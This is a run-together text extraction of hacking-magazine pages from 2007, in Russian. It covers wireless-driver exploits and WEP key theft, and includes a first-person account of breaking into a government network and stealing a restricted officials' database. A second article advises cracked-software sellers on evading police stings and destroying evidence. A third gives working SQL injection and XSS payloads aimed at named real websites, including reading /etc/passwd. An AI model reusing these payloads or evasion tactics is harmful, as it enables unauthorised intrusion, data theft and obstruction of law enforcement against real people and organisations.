ICQ.Атака на драйверы беспроводногоустройства3 сентября 2006 года Johny Cashe описалпринципиально новую атаку, суть которойв том, что, используя уязвимостидрайверов, можно выполнить неавторизированныйкод. Уязвимы следующие продукты:Посылая GET запрос к web-портуроутера, в ответ можно получить это:GET request "/" to 192.168.0.1(192.168.0.1)HTTP/1.0 401 NGWWW-Authenticate: Basic realm="DI-824VUP+"UnauthorizedTotal bytes read: 75Посоветовались с нашим Perl-кодером KSURiи решили разработать утилиту, выполняющуюаудит ПО точки на всевозможные атаки.perl hardware_auditor.pl -s192.168.0.0 -e 192.168.0.100LOADINC MAC ... okLOADING BUGS ... okLOADING CREDITS ... ok192.168.0.12 — DWL-2100ap detected(!)xàêåð 02 /98/ 07/ 069


взлом!В США полицияарестовала жителяФлориды за то, чтоон самовольно подключалсяк чужойбеспроводной сетиWi-Fi. 41‐летнегоБенджамина Смитаобвиняют в несанкционированномпроникновениив компьютернуюсеть РичардаДайнона, которыйв минувшем апрелезаметил, что Смитподъехал к егодому на автомобилеи стал пользоватьсяноутбуком.Последующееразбирательствоподтвердило фактнесанкционированногодоступа. Еслиты собираешьповторить подобныйопыт, готовьсяк тому, что твоидействия могутпопасть под статьиУК РФ.Демонстрация работы скрипта-аудитораAPPLE:MacOS X 10.4INTEL:Intel PRO/Wireless 2200BGINTEL:Intel PRO/Wireless 2915ABGINTEL:Intel PRO/Wireless 2100INTEL:Intel PRO/Wireless 3945ABG(w22n50.sys, w22n51.sys, w29n50.sys,w29n51.sys)Заметь, вторая карта из этого списка фигурирует чуть лине в каждом магазинном ноутбуке. Компрометировать удаленныесистемы можно с использованием LORCON(http://802.11ninja.net/code/lorcon-current.tgz). Говоря о возможностяхпроведения атаки, следует отметить, что обязательнымиусловиями ее успешного осуществления являютсятолько включенная Wi-Fi карта и непосредственная близостьхакера к «радиусу действия» беспроводной сети. Сейчася продемонстрирую атаку, которую проводил не раз.skvoz@cup # ./lorcon -c 1 -d 80 -t00:0C:6E:4F:A2:00Finding channel and signal strength ... DONE!Preparing shellcode ...Исследования «нового» беспроводного сетевого окруженияSending attack ...Writing for response..... Got shell!Разъясню параметры запуска. Здесь ‘-с’ — номер канала(по умолчанию 1); ‘-d’ — «слушаемый порт», его мы будембомбить специальными пакетами; ‘-t’ — атакуемаямашина. Кроме того, присутствует флаг ‘-r’ — порт дляbackconnect-подключения при удачном захвате машины.Дальше ты можешь выполнять любые интерпретируемыеконсольные команды.Следует подробнее остановиться на методе выполненияподобной атаки — fuzzing. Термином «fuzzing» объединяютдействия, сопровождающие выявление большинствадефектов безопасности. Один из приемов фаззингаоснован на внесении ошибок путем передачи приложению«кривых» данных. Конкретно в описанном примере это выглядиттак: на атакующего обрушивается шквал UDP-пакетовпо 1400 байт с определенным интервалом.В посылаемые пакеты внедряется шеллкод, которыйисполняется в режиме ядра.Подробности этого чуда были приведены Крисом Касперскиhttp://На диске к журналуты найдешьуникальную презентациюхакеровДэвида Мейнораи Элча, создателейLORCON./ 070xàêåð 02 /98/ 07


взломУзнаем адресацию в беспроводной сети Вывод Netbios-статистики с локального компав октябрьском номере, а главное, что стоитизвлечь из этого, — ошибки синхронизациифреймов, которыми можно не только вызватьотказ в обслуживании, но и передать управлениена шеллкод.Похожий метод компрометации, но с использованиемабсолютно другого пособа захвата, присутствуетв драйверах Broadcom, которыеобычно поставляются в стандартной сборкеПК компаний HP, Dell, Gateway и eMachines.Эта уязвимость, обнаруженная в рамкахпрограммы MoKB (Month of Kernel Bugs), провоцируетпереполнение буфера драйвером длябеспроводных устройств Broadcom BCMWL5.SYS путем некорректной обработки ответовкарточки 802.11, содержащих длинное SSIDполе,и приводит к исполнению произвольногокода в привилегированном режиме. Исходныйкод эксплойта можно найти в MetasploitFramework, :Windows::Driver::Broadcom_WiFi_SSID < Msf::Exploit::Remote на Ruby. В папке/framework3/trunk/modules/exploits/windows/driver расположена еще парочка хороших темпод баги в дровах Wi-Fi, о которых написанониже. Обрати внимание на строки во всех сплоитахпод них:OptString.new('ADDR_DST', [true, "The MAC address of thetarget system",'FF:FF:FF:FF:FF:FF']),OptInt.new('RUNTIME', [true, "The number of seconds torun the attack", 60])Их ты изменяешь сразу или запускаешь сплоитс соответствующими флагами. После завершенияпроцесса ты сможешь выполнять неавторизированныйкод.Атака на конечные клиентыЗаметь, что проделать такой легкий трюк мнепозволила абсолютная незащищенность сетии возможность подключения с любым MACадресом.Но представь, что перед нами грамотнонастроенная сетка. Тратить время на снифинициализационных векторов для подбора WEPне очень хочется, особенно когда дело происходитна улице. Безусловно, при определенномопыте ты сориентируешься, что делать. Об одномиз возможных решений сейчас пойдет речь.Наверняка, тебе запомнилась статья хЫр'а(ustsecurity.info) «С любовью из России». Примечательностьатаки EvilTwin, которую описывалавтор, состоит в том, что она абсолютно«прозрачна» и незаметна жертве. Эмулируя«точку-близнец», вся сетевая инфраструктураконнектится к твоему хозяйству, предоставляятебе возможность для компрометации. Для проведенияEvilTwin нам потребуется знатьMAC-адрес найденной точки доступа, канали SSID. Эту информацию ты можешь с легкостьюузнать из Netstambler или Kiswin. Воспользовавшисьштатными средствами своегоадаптера, легко перевести его в режим «actas base station», но учти, что чипсет адаптерадолжен быть на базе agere/hermes, иначе затеясорвется. В результате пару минут ты будешьчувствовать себя админом, настраиваядиапазон выдаваемых IP'шников, идентификаторсети и еще многое ругое. Естественно, мощностьсигнала «твоей» точки должна бытьвыше подменяемой. После коннекта клиентовк твоей точке доступа, ты спокойно выполнишьаудит в испеченной сети, как у себя в любимойлокалке. Если ты все просек, то, используяфейковые точки, ты можешь без палева изучатьстороннюю беспроводную инфраструктуру.«Gnivirdraw» — «wardriving» наоброт, термин, впервые упомянутый в докладе Rogue Squadronизвестной Shmoo. Заюзав беспроводнойHoneypot из своего ноутбука, ты извлечешьвсю ту же информацию, которую ты узнавал изсканеров беспроводных сетей. Создать такойсофтварно можно на базе Soft AP, либо KarmaTools, которая, кроме возможности эмуляцииAP, на своем борту имеет встроенный http-, FTP-,DNS-, DHCP- и POP3‐сервер (modules/servers).Воровство WEP по-другомуСуществует ряд моделей оборудования, которыехранят WEP-ключ для авторизации сетив реестре. Как правило, эти модели используютподключаемую через USB Wi-Fi карточку, вродеIntel(R) PRO/Wireless 2011B LAN USB Device. Заполучивдоступ непосредственно к подобнойтачке, ты без труда сможешь выхватить егообращением к соответствующей ветке реестра.[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E972‐E325-11CE-BFC1-08002BE10318}\0008]Подозрительный хлопец в списках сетевой активности,занимающийся разработкой приложений для web, сразу обратил на себя мое вниманиеxàêåð 02 /98/ 07/ 071


взломИнформация, полученная из NetBios крайне актуальнаС помощью несанкционированного доступа в беспроводнуюсеть мне удалось похитить конфиденциальные данные особогоназначения(ключ зависит от конкретногоустройства)"Key128"="2544801583660d7009abcdef00000000000000""DefKeyId128"="1Осматриваем раздел и видим примерноследующий текст: «"DefaultKeys"="364e01815b300d8038abc5ff00000000000000"», где первые 12чисел — WEP-ключ в plaintext. На аналогичнойсистеме, с драйвером 1.15.18.0, ключ располагалсяв Profiles\Default\WepKey.Для начала тебе потребуется определить GUIDустройства для подстановки. Исходный кодпрограммы, позволяющий это сделать, ты найдешьна диске. Там же описано, как все-такинарыть этот WEP-ключ софтварно. Если жеситуация осложнена тем, что ключ не хранитсяв реестре, что, естественно, небезопасно, тосмело заюзай уязвимость в Intel Wireless Service(s24evmon.exe). С помощью этого бага локальныйпользователь может получить конфигурационныеданные беспроводного оборудования, в томчисле WEP-ключи. Уязвимость присутствуетиз-за небезопасного разграничения прав надоступ к общей секции \BaseNamedObjects\S24EventManagerSharedMemory\, котораяиспользуется службой Wireless ManagementService, что позволяет атакующемучитать, писать, удалять сегменты информациив памяти. Смело компилируй сплоит vc++и запускай на вражеской тачке, после запускаполучишь что-то вроде: «Possible AlphanumericWEP KEY found: kd%2mzkl».О том самом, или ловкость рукВ докладе Контрольно-счетной палаты СШАотмечено, что Wi-Fi технологии, внедряемыев правительственные организации, не имеютдолжной безопасности. По их сводкам, в 13агентствах не установлена защита, а в большинствеагентств не отслеживается происходящеев беспроводных сетях. В одномиз агентств 90 ноутбуков настроены наавтоматический поиск сигнала в эфире, чтоможет привести к нахождению подставногосервера. Поверь, в родной России ситуацияабсолютно такая же, порой корпоративнаяинфраструктура настроена гораздо грамотнейгосударственной. Так, одним зимним вечеркоммне удалось украсть, пожалуй, одну из важнейшихведомственных баз «Lunar» из зданиядалеко не отдаленного, скажем так :).Наверняка, тебе известно, что существует рядбаз данных для служебного пользования. Вотнекоторые из них: «Лабиринт» (база данныхо политиках и их биографиях), база«Лунар» (телефоны и справочная информацияо руководящем составе МВД, налоговойполиции, правительства, прокуратуры, Газпромаи пр.), база «БТИ» (собственники жильяв Москве), база «ГИБДД» (полные данныепо автовладельцам Москвы) и т.п. Дистрибутивыподобных вещей хранятся в сейфах затолстыми стенами и право их использованияимеют лишь избранные сотрудники. Большевсего меня интересовала база «Lunar» по личнымсоображениям. Получив автоматическиIP-адрес, я попал в просторы Сети. Проглядываясетевую статистику (netstat), я обратилвнимание на IP-адрес 192.168.0.100. После егооткрытия в браузере выяснилось, что за нимскрывается поднятый HTTP-сервер, на которомотлаживались какие-то web-приложения, напоминающиеинтерфейс к СУБД. Востребованностьузла была налицо, и активностьпользователей явно присутствовала. Выяснивкое-что о нем, я понял, что он находится в группекомпьютеров.6 names in tableHOME_161 00 UNIQUE Workstationservice nameMSHOME 00 GROUP Workstationservice nameHOME_161 20 UNIQUE Serverservices nameMSHOME 1E GROUP Group nameMSHOME 1D UNIQUE Masterbrowser name##__MSBROWSE__ 01 GROUPMAC address 4: 00:0C:6E:4F:A2:00Получение имен доменов системы происходитс помощью работы с nbtscan. При этом посылаетсяспециальный пакет на 137/udp порт, где виситсоответствующая служба. Обрати внимание на«NULL session successful to \\192.168.0.100\IPC$»,открытые переменные окружения — первый знакналичия расшаренных ресурсов в сети.Кроме того, из скана стало ясно, что перед намиУязвимость хранения пасса в shared_memory позволит тебе добыть заветный WEP-ключ за секунды/ 072xàêåð02 /98/ 07


взломАудит роутератерминальный сервер, что имеется FTP-серверс разрешенным anonymous-доступом, откудая выкачал кучу интересных данных сотрудниковзаведения.Существует дефект: при эмуляции вызоваLsaQueryInformationPolicy() можно определитьhost SID (Security Identifier), который может бытьиспользован для получения листа локальныхпользователей, размещенных на хосте. Такя получил список всех юзеров.The remote host SID value is :1-5-21-790525478-630328440-1801674531CVE : CVE-2000-1200BID : 959— Administrator account name: ?4@ (id 500)— Guest account name : ?>ABL (id501)— HelpAssistant (id 1000)— HelpServicesGroup (id 1001)— SUPPORT_388945a0 (id 1002)— Sergey (id 1003)— Aleksey (id 1004)Их логины можно было использовать дляпробручивания учетных записей на терминалес помощью medusa (читай статью«Терминальная эпопея»), что я и сделал, получивпарочку аккаунтов. Это позволило мнепобродить по пользовательским файлам всехработников, а на одной машине валялась тасамая «Lunar».Не стоит забывать об информации, которую предоставиласлужба NetBIOS. Действительно, нашацель находится в сетевой группе. Заходимв «Сетевое окружение Отобразить компьютерыв рабочей группе» (консольно: netview). Чтобы получить детальную информациюо строении сети, открой вкладку «MicrosoftWindows Network (MWN)». Выполнил проверкуресурсов сети net use, анализируй их напредмет шар. Безусловно, я бы мог покопатьсяв «чужом белье», полазив по компам рабочейгруппы, но все же существует определеннаяэтика, о которой следует помнить любомухакеру, поэтому я ограничился простымnetsend'ом с девизом «Priwet kolgotochniki! gemaglab1n (C)» и просмотром желаемой базына харде одного из сотрудников. Я умышленноне стал скрывать свое присутствие, и это ввелоадминов в панику — судорожно они началипроизводить защитные действия и сканымоей системы. Но у меня всегда грамотнонастроена IDS, файрвол (wipf), а ОС перебитас помощью Security Cloacker'a (его ты найдешьна диске). При попытке определения«марки» моей системы, товарищам сотрудникамвыдавалось язвительное сообщение«Playstation». Удивлен? Дело в том, что, изменяяпараметры в реестровой ветке SYSTEM\\CurrentControlSet\\Services\\Tcpip\, ты сможешь«смущать» любые сканеры безопасности, ведьони основываются на вполне традиционныхметодах анализа. zxàêåð 02 /98/ 07/073


взломВиталий «root» Чернов/ admin@crackthemall.com /Крэкер и законКак обойти уловки финансовой милицииЛюбой состоявшийся крэкер хотя бы раз в жизни мечтал зарабатывать деньги на своеммастерстве. У многих это вполне успешно получается. Но никто не имеет гарантийтого, что он сможет безнаказанно заниматься этим делом, пока не надоест. Как говорится,от сумы и от тюрьмы не зарекаются. Эта статья не просто параноидальный бредобдолбанного крэкера. Все, о чем ты прочитаешь здесь, испытано мной на собственнойшкуре. Именно ради этой статьи мне пришлось пройти через огонь, водуи обвинительное заключение. И если эта статья выходит в свет, значит, я до сих порна свободе и продолжаю заниматься любимым делом.К/ 074рэкерство — само по себе занятиеочень интеллектуальное. Каждыйвзлом — это головоломка. Когдазанимаешься крэкерством довольнодолго, начинаешь видеть головоломки вовсем. Если воспринимать жизнь как интересныйквест, а сложные моменты как простые задачи,у которых наверняка есть правильные решения,становится гораздо проще справлятьсяс проблемами. Но это все теория, которая малокому может пригодиться. Для крэкера главное— практический результат.Эту статью я хочу начать с рассмотрения вопроса«правильной» продажи пиратского софта илипатчей, а закончить рекомендациями по тому, чтопредпринимать, если дело все-таки дошло до суда.ПродажаПродавать пиратское ПО и собственноручнонаписанные патчи всегда было опасным занятием.В этом деле главное не кричать налевои направо, что ты можешь взломать любую программупочти бесплатно. Цени себя и свой труд.Если будешь выполнять только крупные заказы,во-первых, тебя все будут уважать, а во-вторых,будет не так обидно, если тебя поймают.Никогда и никому из заказчиков не показывайсяи не свети свои личные данные, такие какфамилия, имя, номер паспорта, адрес, телефон и т.д.По возможности делай все через доверенноетретье лицо (или попросту дропа — примечаниередактора), только никогда и никого не подставляй,иначе тебя сдадут со всеми потрохами, да и,вообще, это не по-человечески.Получение денегДеньги получай только наличными — безналичныерасчеты, включая платежные системыв Сети, очень прозрачны для спецслужб. Любыеденежные транзакции, проходящие через стороннихпосредников, рано или поздно замыкаютсяна тебе.xàêåð 02 /98/ 07


взломЗа такой патч тебе ничего не будет!Если ты заранее знаешь точную сумму, которую тебе должнызаплатить, постарайся иметь эту же сумму с собой. Фишка вотв чем: если ты попадешь под контрольный закуп, то купюры,которыми с тобой рассчитаются, либо будут меченными,либо их серийные номера окажутся заранее зафиксированыв акте, с которым тебя обязательно должны ознакомить.Эти купюры ты сможешь сразу спрятать в трусы, а заранеезаготовленные, например, держать в руке.Контрольный закупКонтрольные закупы устраиваются по просьбам владельцевавторских прав, программы которых очень часто покупают.Вместо того чтобы позаботиться о безопасности своего продуктасамим, они от безысходности обращаются в правоохранительныеорганы.Процедура контрольного закупа программного обеспеченияво многом определяется законодательством страны, в которойты живешь, но в целом выглядит следующим образом:1. сотрудники финансовой милиции получают из какоголибоисточника телефон взломщика;2 находят подставное лицо, которое будет выступать в качествеклиента;3. клиент звонит взломщику и просит его, например, установить«1С:Бухгалтерию», на что взломщик соглашаетсяи назначает время;4. на стороне клиента устанавливается, как правило, оченьстарый компьютер (на новый, наверное, денег не хватает :))с девственной Windows;5. сотрудники финансовоймилиции привлекают специалистаиз доверенной компьютернойфирмы для осмотракомпьютера;6. специалист осматриваеттачку и дает заключение, чтона ней, кроме винды, ничегоне стоит;7. взломщик приходит к клиентуи устанавливает«1С:Бухгалтерию»;8. Когда взломщик собираетсяуходить, в помещение Знай и чти Уголовный кодексзаваливает несколько сотрудниковфинансовой милициис понятыми;9. сотрудники тычут взломщику в лицо своими документамии говорят, чтобы он не торопился уходить, но это ужелирика :).Итак, что мы имеем? А имеем мы достаточно информации,чтобы поиметь сотрудников финансовой милиции.Первое, что бросается в глаза, — это древний компьютерс чистой виндой. Если ты встретишь нечто подобное,лучше сразу откажись от установки. Но если ты экстримал(как я, например :)), то запомни два очень важных правила:устанавливай софт только с дисков и после установкиобязательно уничтожай их путем переламывания на мелкиечасти (после этого никто не подумает их считывать).Только делай это сразу после установки, не дожидаясьсотрудников в форме. Диск — это первая и единственнаяулика против тебя. Вторая — это комп с установленнойпрограммой, но без диска она не имеет никакой силы.Только представь себе лица сотрудников милиции, когдаты покажешь им кусочки диска в одной руке и пачку твоихсобственных денег в другой.Естественно, просто так тебя никто не отпустит — попросятнаписать объяснительную. На системном блоке-то осталасьустановленная тобой программа. Смело пиши в объяснительной,что тебе позвонили и попросили помочь настроитьтакую-то программу, на что ты согласился и сказал, чтони копейки не возьмешь за это. А потом толпой завалилисотрудники финансовой милиции и стали обвинять тебяв установке пиратского софта.А теперь — внимание! То, о чем я тебе сейчас расскажу,— это результат самой настоящей слежки за работникамифинансовой милиции. Во время проведения контрольногозакупа на расстоянии 150-300 метров расставлены какминимум две группы так называемого подкрепления. Всеони снабжены рациями или подслушивающими устройствами,что уже само по себе без твоего ведома незаконно. Такчто будь готов к тому, что тебя услышит много ушей, которыев любой момент могут тебя накрыть в прямом смысле слова.!Эта статья носитознакомительныйхарактер и никакимобразом не провоцируетна противозаконныедействия. Еслиты попался, в этомвиноват только ты сам.Ни автор, ни редакцияответственности затвои действия ненесут.xàêåð 02 /98/ 07/075


взломКрэкерский компьютерОбыскНикогда не сталкивался с обыском, но лучшебыть к нему готовым, потому что происходитон, как правило, неожиданно. Лично мнеугрожали обыском, но так никто и не пришел(а я так ждал :)).Перед тем как запустить сотрудников правоохранительныхорганов к себе домой, потребуйпостановление на обыск. Без этой бумажкиони не имеют права даже переступать порогтвоего дома.Будь готов к тому, что твой комп заберут на экспертизу.Правда, если он прибит по запчастямк стенке, несколько мониторов стоят в разныхместах и работают, а системным блоком вообщене пахнет, эти товарищи сразу впадают в глубокийступор и вызывают подмогу в качествештатного специалиста, который, скорее всего,заберет только жесткие диски. Хотя можетсобрать все, включая мониторы, клавиатуры,мыши и компакт-диски. Кстати говоря, ты ещескажешь большое спасибо ребятам из «Хакера»за то, что они не выкладывают кряки и кейгенына диски :).Во-первых, никогда не держи результаты своихгрязных дел на домашнем компе. Записывай ихна болванки и отдавай на хранение соседу илизнакомому.Во-вторых, на твоем компе должно бытьустановлено либо лицензионное ПО, либобесплатное, либо невзломанные демо- и триалверсии.И вообще, лучше поставь nix’ы. Ты жене хочешь покупать у дяди Билла его глючноетворение за хрен знает сколько енотов.В финансовой милицииЕсли ты совершил глупость, попавшись наконтрольном закупе, и, более того, дал своиреальные данные, включая адрес проживания,ожидай в течение двух недель повестку в самуФинансовую Милицию. Если тебе позволяютвозможности, заранее найми хорошего адвокатаи в первый же раз иди туда с ним.Хорошо было бы посидеть с адвокатом около сутоквозле компа с Уголовным кодексом РФ наперевес.Вы могли бы реально оценить ситуациюи возможные последствия. Я знаю случай, когдаадвокат вытащил обвиняемого уже при первомпосещении финансовой милиции.Дело в том, что все статьи Уголовного кодексаРФ написаны людьми очень далекими откомпьютерной грамотности. Поэтому самоестрашное, что тебе могут инкриминировать,— это нарушение авторского права, котороекомпенсируется возмещением ущерба в размерестоимости копии той программы, которуюты сломал. Если ты написал патч или кейген,тебе за это вообще ничего не будет, потомуА могло бы быть уликойчто более-менее имеющие к этому отношениестатьи Уголовного кодекса охватывают тольковирусы и трояны. Адвокат тебе скажет то жесамое, поэтому при небольшой тренировкеты и сам сможешь оправдать себя.После проведения контрольного закупа документы,имеющие отношение к делу, передаютсяследователю, к которому ты будешь вызван.Разговаривая со следователем, отвечай навопросы по возможности правдиво, но когдаон будет давать тебе подписывать бумаги, будьосторожен! Проверяй в них каждое слово.Обязательно посмотри статьи, которые тебеприписывают. Тебе могут приписать лишнююстатью или «ошибиться» с частью, под которуюты попадаешь. Вдруг окажется, что преступлениеты совершал совместно с группой лиц илинеоднократно. Не верь ни единому красивомуслову следователя, потому что в его интересахпосадить тебя или навесить километровыйштраф. Но не торопись опровергать статьюо модификации и порче программного обеспечения.Читай дальше — поймешь почему.До судаЕсли ты ничего не смог предпринять и обвинениеуже выписано, не расстраивайся — есть еще/ 076xàêåð 02 /98/ 07


взломЗдание финансовой милицииодин действенный путь и называется он «Примирениесторон». Обвиняемый и пострадавшийвправе урегулировать спор, заключив мировоесоглашение на взаимовыгодных условиях.Не дожидаясь суда, найди обладателя прав насломанное тобой программное обеспечениеи встреться с ним на нейтральной стороне.Сам понимаешь, что разговаривать нужно безнаездов, спокойно. Одно-единственное твоенеправильное слово — и он никогда в жизнине пойдет с тобой на примирение. Он, в своюочередь, должен прийти к мысли, что если осудиттебя, то ничего с этого не поимеет и тольконаживет себе нового врага. Если тебе повезет,он просто так, безвозмездно, избавит тебя отнеприятностей. Ну а если он какой-нибудьжлоб, то договорись с ним о погашении ущербав размере стоимости его программы. В любомслучае тебе это выйдет дешевле, да и судимостине будет. После этого при первом же заседаниисуда он должен отказаться от своего исковогозаявления.Если по каким-то причинам ты сам не сможешьдоговориться с пострадавшим, попросисвоего адвоката. В конце концов, он сделаетэто грамотнее.Теперь небольшая разминка для умаДопустим, тебя обвинили по делу в установкепрограммы «Кульная Программа 7.7» и применениипатча, который ты сам написал, но сказал,что скачал в Сети.В ходе следствия тебе пришили две статьиУК РФ: статью 158 «Нарушение прав интеллектуальнойсобственности» и статью 273 «Неправомерныйдоступ к компьютерной информации,создание, использование и распространениевредоносных программ для ЭВМ».Одна из групп подкрепленияПо идее, статья 273 вообще не имеет никакогоотношения к патчу. И ты, и экспертиза в силедоказать, что это статья тебя не касается. Но…Допустим, по 158‐ой тебе припишут штрафв размере 500 минимальных расчетныхпоказателей, а по 273‐ей тебе светит условнаясудимость на 6 месяцев. Ущерб обладателюавторских прав в размере стоимости программытебе придется возмещать в любом случае, какни крути. По законодательству, статья, имеющаябольшую степень тяжести, покрывает ту, котораяимеет меньшую. То есть 273‐я в этом случаепокрывает 158‐ю, и тебе светит только полгодасудимости без какого-либо штрафа. Так что выбирайсам, стоит ли отмазываться от судимостии платить потом всю жизнь.ИтогКак видишь, обойти проблемы с финансовоймилицией не очень сложно. Главное — не откладыватьвсе в долгий ящик, а начинатьдействовать сразу. Чем дольше ты тянешь,тем больше вероятности, что тебя накроютмедным тазом. zСобственно, судЕсли ты следовал всему, что я написал, но деловсе-таки дошло до суда, то, скорее всего, парень,ты попал по полной программе. Не расстраивайся,ведь даже в этом, как ни странно, можнонайти свои плюсы. Например, с судимостьютебя не возьмут в армию. Как тебе? Вообще,если ты тесно связан с крэкингом или хакингом,судимость будет тебе только украшением. Помниодно — за крэкинг тебя никто не должен посадить.Максимум, что тебе светит, — условная судимостьи нехилый штраф. Во время суда бейся до последнего.Вот тут хорошо было бы иметь адвоката. Еслиу тебя нету своего, то по закону тебе обязаны датьштатного. Он будет бесплатным, но на его услугисильно не надейся. Его зарплата не изменится,если он проиграет твое дело, так что смотри сам.xàêåð 02 /98/ 07/077


взломЛеонид «R0id» Стройков/ r0id@mail.ru /НедетскийвзломМаленькиепроблемымогучего хакераТы уже не раз читал на страницах «Хакера» о различных методах взлома, да и в Сетиполно статей на аналогичные темы. Вот только большинство из них затрагивает лишьчасть случаев, и, как правило, самых простых. Примитивные инъекции, удаленныеинклуды, активные xss — все это только верхушка айсберга. Скорее всего, в твоейпрактике были ситуации, когда тебе приходилось отступать и прекращать атаку. А ведьпри поломке крупного ресурса шанс найти распространенный баг очень мал. Поэтомупри проведении более-менее серьезных атак требуется максимум внимательности и сообразительности.На решение поставленной задачи порой уходят сутки, а то и недели,но настоящие профессионалы никогда не сдаются. Не зря говорят: «Профессионал— это тот, кто ломает то, что хочет сломать, а не то, что может сломать». Сейчас я расскажуо наиболее часто встречающихся ситуациях, осложняющих и без того непростуюхакерскую жизнь.Проблемы со sql-injectionКак ни крути, но в последнее время рулятименно sql-инъекции. Программеры всечаще юзают MySQL/MSSQL-базы, не забываякодить потенциально бажные движки :).О sql-injection уже несколько раз писалосьв журнале, поэтому не вижу смысла повторяться(лучше почитай подшивку «Хакера»).Так что приступим непосредственно к сути.Как ты знаешь, все инъекты можно разделитьна два типа: слепые и не слепые. Особенныйгеморрой при взломе создают слепые инъекции,так как в этом случае мы лишаемся возможностивидеть ответ на свой запрос и самуошибку. Причиной в php-скриптах можетслужить, например, error_reporting(0) (режимсокрытия сообщений об ошибках в php)и символ «@», поставленный перед функцией.Чтобы тебе было понятнее, рассмотрим это/ 078xàêåðявление на конкретном примере. Возьмемнорвежский ресурс www.karriereguiden.noи перейдем по ссылке:http://www.karriereguiden.no/presentation.php?id=144Если теперь подставить символ одинарнойкавычки в значение параметра id, то вместопредполагаемой ошибки мы увидим простопустую страницу:http://www.karriereguiden.no/presentation.php?id=144'Следовательно, есть вероятность наличиябага. Подобрав количество полей, можноубедиться, что уязвимость действительноприсутствует:http://www.karriereguiden.no/presentation.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+/*Если подобрано правильное количество полей,на экране будут отображены предназначенныедля вывода поля. В нашем случае — шестоеи седьмое. В некоторых конкретных случаяхдля подбора количества можно использоватьконструкцию «order by». Это выглядит так:http://target.com/index.php?id='+order+by+10/*Если полей больше 10‐ти (или ровно 10), тоошибки не будет (или при слепом инъекте страницаотобразится в обычном виде), в противном02 /98/ 07


взломDVDНаши права в базе =)случае мускул злобно ругнется (а при слепом инъекте ты увидишьпустую страницу). Однако существенно осложнить твоюжизнь может еще и фильтрация определенных символов.Бывает, что, даже при наличии прав file_priv, прочитать файлне получается из-за фильтрации кавычки. Обойти это можнопри помощи char() вот таким запросом:http://www.iamcal.com/misc/londonbloggers_v1/station.php?id=-1+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7,8,9,10,11,12+/*В результате мы прочитаем /etc/passwd с сервера, на которомхостится ресурс www.iamcal.com. Кстати, для того чтобывручную не переводить символы в их ASCII-код, я написалнехитрый скриптец, сорец которого лежит на нашем диске =).Если ты думаешь, что сложнее уже некуда, то глубоко ошибаешься.Самый геморрой все еще впереди. Бывает, чтов самом запросе, в имени поля, нельзя использовать буквы.На первый взгляд кажется, что ловить здесь абсолютно нечегои надо сворачивать удочки. Но, на самом деле, обойтифильтрацию можно при помощи aes_decrypt()/aes_encrypt():http://fat-cat.co.uk/fatcat/artistInfo.php?id=-1+union+select+1,2,3,4,aes_decrypt(aes_encrypt(user(),0x71),0x71),6+/*Ответ вернет нам лишь одну строчку — «root@localhost» =).Еще один распространенный случай — фильтрация пробела,которая, к слову, тоже успешно устраняется с пути хакерского :).Дело в том, что вместо пробела можно использовать комментарии.То есть если мы хотим подобрать количество полейв таблице на www.saworship.com, то запрос будет не таким:http://www.saworship.com/article-page.php?ID=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/*&Page=singles.phpА вот таким:http://www.saworship.com/article-page.php?ID=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39/*&Page=singles.phpЭтот запрос успешно выполнится, и ты увидишь отображаемыеполя =). Как ты понял, геморройных ситуаций припроведении инъекций хватает. Иногда получается так, чтонесколько описанных мной случаев комбинируют междусобой. Но главное не паниковать и не опускать руки.Нестандартные xssТеперь настало время рассмотреть нестандартные xss-баги.Что такое? Я слышу неодобрительные возгласы и свист гнилыхпомидоров с задних рядов… Зря, товарищи, зря! Тех, кто не считаетxss уязвимостью, я попрошу удалиться, ибо все сказанноемной вы все равно пропустите мимо ушей. Для остальных напомню,что при успешном раскладе с помощью даже примитивногоxss-бага порой можно получить пользовательский аккаунтили доступ к панели администратора сайта. Но в последнеевремя поля стали фильтровать все чаще, и простая проверкавида alert('xss') в 80% случаев уже не прокатывает.Возьмем популярный в рунете ресурс www.hotel.ru.Полазив немного по линкам, несложно заметить самописныйфорум. Нас, собственно, больше всего интересует формочка длясоздания тем/сообщений. Повтыкав во все поля стандартныеalert('xss'), многие подумают, что xss здесь и непахло. Но это только на первый взгляд. Вбив javascript-код в поле«Сообщение» и присмотревшись к сорцу странички, можнообнаружить, что кавычка никак не фильтруется, а перед нашимкодом открыты тэги , и :Причины возникновения хак-геморрояКак ты уже понял из статьи, все наиболее крупные взломы не обходятся без такого явления, как «хак-гемор», или геморройпри взломе. Причины этого явления кроются, прежде всего, в недружелюбно настроенных по отношению к нам (хакерам)админах. Приведу пример. Не так давно, при взломе сервера достаточно крупной забугорной организации, мне удалосьполучить и расшифровать хэш рутового пароля к базе. Причем имелась возможность удаленного подключения к БД. Но тутменя ждал облом — файр жестко фильтровал все подключения к открытым портам, разрешая коннект лишь с определенныхIP-адресов. Аналогичные правила работали и для 21‐го и 22‐го портов. Этот факт несомненно огорчил, хотя доступк интересующей меня базе я в итоге получил, раскрутив слепой инъект и подобрав таблицы с полями. Этот случай лишьподтверждает необходимость использования всех возможных методов при взломе. Ведь если шанс есть, значит, нужнопробовать его реализовать =).На диске тынайдешь мой скриптchar.pl, с помощьюкоторого можно безлишнего геморрояпреобразовать символыв их ASCII-код.iНикогда не сдавайся.Ищи новые путирешения проблемы.Все простые пути уженашли до тебя.!Внимание! Вседействия взломщикапротивозаконны! Информацияпредставленаисключительнос целью ознакомления!Ни автор, ниредакция за твоидействия ответственностине несут!На DVD-диске тынайдешь видео повзлому к статье.xàêåð 02 /98/ 07/079


